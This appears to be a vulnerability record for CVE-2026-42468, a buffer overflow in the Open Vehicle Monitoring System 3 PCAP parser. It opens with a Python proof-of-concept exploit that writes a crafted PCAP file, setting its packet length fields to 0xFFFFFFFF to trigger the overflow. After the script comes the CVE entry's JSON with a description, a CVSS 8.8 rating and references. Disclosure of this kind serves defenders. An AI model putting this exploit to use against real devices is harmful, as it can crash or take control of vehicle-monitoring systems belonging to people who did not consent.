CVE-2026-42468

import struct import sys def generate_malicious_pcap(filename): # PCAP Global Header (24 bytes) # Magic Number (d4 c3 b2 a1), Version (2.0), Thiszone, Sigfigs, Snaplen, Network pcap_global_header = b"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00" # Malicious Packet Header (16 bytes) # Timestamp (4), Timestamp (4), Incl Len (4), Orig Len (4) # Setting Incl Len to 0xFFFFFFFF (very large value) to trigger overflow timestamp_sec = 0 timestamp_usec = 0 incl_len = 0xFFFFFFFF # Malicious length orig_len = 0xFFFFFFFF packet_header = struct.pack('<IIII', timestamp_sec, timestamp_usec, incl_len, orig_len) # Packet Data (empty or minimal, the overflow happens on read/copy size) packet_data = b"\x00" * 10 with open(filename, 'wb') as f: f.write(pcap_global_header) f.write(packet_header) f.write(packet_data) print(f"[+] Malicious PCAP file generated: {filename}") print(f"[+] Exploit triggers buffer overflow by setting packet length to {hex(incl_len)}") if __name__ == "__main__": generate_malicious_pcap("exploit_cve_2026_42468.pcap")

{"cve": {"id": "CVE-2026-42468", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:25.150", "lastModified": "2026-05-07T19:16:01.927", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow vulnerability in Open Vehicle Monitoring System 3 (OVMS3) 3.3.005. In canformat_pcap.cpp , the parser's phdr.len field is not properly validated, allowing remote attackers to cause a denial of service or possibly execute arbitrary code via crafted PCAP input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381", "source": "[email protected]"}, {"url": "https://github.com/openvehicles/Open-Vehicle-Monitoring-System-3/issues/1392", "source": "[email protected]"}]}}